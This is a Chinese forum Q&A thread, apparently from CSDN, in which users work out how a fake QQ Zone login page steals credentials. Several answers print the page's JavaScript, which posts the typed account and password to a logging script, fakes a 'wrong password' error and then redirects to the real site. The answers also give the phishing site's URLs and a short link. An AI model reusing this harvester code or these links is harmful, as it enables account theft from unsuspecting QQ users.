无意打开盗号网站，顺便输几个字母，打开的却是自己的QQ空间，求解

Question

你确定没有下载里面的ActiveX控件?

Answer 1

对了,你先确定手动登陆QQ空间的时候,是否设置成了自动登陆
否则URL跳转到QQ空间,可不就直接进入你自己的空间了吗

Answer 2

http://t.cn/RZl8eNj
要乘早，这种地址估计很快就失效了。

Answer 3

我确定那时候没登陆QQ，后来才为了确认QQ被盗了没有，才登陆QQ的。

Answer 4

这貌似是盗链吧  
你输入完登录信息后 它会盗走你的登录信息 然后 自动跳转至真正的QQ空间 
如果你登录过qq空间 又没有清理浏览器缓存的话 进入qq空间（http://i.qq.com/）当然是默认就登录了。

Answer 5

好玩，随便输两个QQ号，就成了，可以确定他是URL跳转的，
跳到QQ空间后，空间那边还是提示我要登录。

Answer 6

如果你换个没有登录过QQ空间的浏览器
或是把你的浏览器缓存清理掉 再试试 刚刚那个假的QQ空间登录
他是无论如何也登录不上的  只会调转到真正的QQ空间

Answer 7

奇怪，后来我又试了多次，可是它又不打开我QQ 空间了，跳转到i.qq.com了。但是第一次确实是打开我的QQ 空间了的。

Answer 8

我是该说你不会玩QQ空间还是不懂web呢？

Answer 9

这样吧   你现在先不退出CSDN  直接把浏览器关掉
然后再进入CSDN  看看你登录了没？

Answer 10

并不是网站知道你QQ空间的地址
而是浏览器知道你登陆QQ空间的cookie
这样只要那个网站跳转到QQ空间,QQ空间判断你的电脑存在cookie,就会自动登陆进去

Answer 11

谢谢！
值得一提的是，访问QQ空间并不需要登陆，只需要知道QQ号码，然后输入
http://user.qzone.qq.com/QQ号码
就可以打开QQ空间。 看到另一个答案
“因为你之前用浏览器登录过qq，只要没有完全关闭浏览器，之后再访问任意腾讯网页都会自动登录”结合你说的，我试了一下，我用浏览器登陆qq邮箱，然后关掉，然后输入http://user.qzone.qq.com/，确实进到了我的QQ空间，问题可能就在这了。

Answer 12

如果你的电脑上QQ在线的话，进QQ空间的网址根本不需要输账号密码

Answer 13

大家听我来说下 流程是这样的..打开那个网站 是xxxx.asp?ddd=之类的网站 你看到的内容 是QQ空间 不知道是静态的还是iframe(不过这个对我们解决问题没什么用)然后会弹出一个QQ登陆的提示框,不过很明显那个不是官方的.因为没有快速登录(现在官方都有快速登录了)我随便输入123密码123提示错误.我以为就这样了 他把密码插入到数据库实现这么垃圾的盗号.(后来发现可能是QQ不合法吧)结果 我输入了1231231231 密码也是随便输入的 居然跳转到自己的QQ空间并且还是登陆状态....所以问题就在这了..

Answer 14

http://www.zheelz.com/vipimages.asp?type=18&id=33007去除没用的 上面的网站就是关键了.
$.get("ajax_log.asp", {
'type':18,
'id':'33007',
'c_uuuuu': $("#c_uuuuu").val(),
'd_eeeee': $("#d_eeeee").val()
}, function(data,status){

if(t<1)
{
$('#c_uuuuu').attr('value','');
$('#d_eeeee').attr('value','');
$('#k_').attr('value','');
$('#b_').html('\u5e10'+'\u53f7'+'\u6216'+'\u5bc6'+'\u7801'+'\u9519'+'\u8bef'+'\uff0c'+'\u8bf7'+'\u91cd'+'\u65b0'+'\u8f93'+'\u5165'+'\uff01');
t++;
$('#c_uuuuu').focus();
}else{
$('#b_').html('&nbsp;');
window.parent.document.location="http://i.qq.com/";
}

});也就是ajax_log.asp这个页面 让我自动登陆了....

Answer 15

在具体解析下 就是http://www.zheelz.com/ajax_log.asp?type=18&id=33007&c_uuuuu=123456789&d_eeeee=admin
哎??又不对啊..t=0t<1然后t++这不是提交2次才可以否则不可以?

Answer 16

在具体解析下 就是http://www.zheelz.com/ajax_log.asp?type=18&id=33007&c_uuuuu=123456789&d_eeeee=admin

Answer 17

设置一个全局t，小于1记录并提交到后端存储，大于1就跳转到http://i.qq.com/ 登陆状态下会跳到你的空间$.get("ajax_log.asp", {
'type':18,
'id':'33007',
'c_uuuuu': $("#c_uuuuu").val(),
'd_eeeee': $("#d_eeeee").val()
}, function(data,status){

if(t<1)
{
$('#c_uuuuu').attr('value','');
$('#d_eeeee').attr('value','');
$('#k_').attr('value','');
$('#b_').html('\u5e10'+'\u53f7'+'\u6216'+'\u5bc6'+'\u7801'+'\u9519'+'\u8bef'+'\uff0c'+'\u8bf7'+'\u91cd'+'\u65b0'+'\u8f93'+'\u5165'+'\uff01');
t++;
$('#c_uuuuu').focus();
}else{
$('#b_').html('&nbsp;');
window.parent.document.location="http://i.qq.com/";
}

});

Answer 18

你们用什么方式看到这段JavaScript代码的？能告诉我吗？我用浏览器的查看源码没看到了，谢谢

Answer 19

右键查看源码，找到    “vipimages.asp?type=18&id=33007”  这句话然后访问这个http://www.zheelz.com/vipimages.asp?type=18&id=33007再右键查看源码  你就会看到上面贴的代码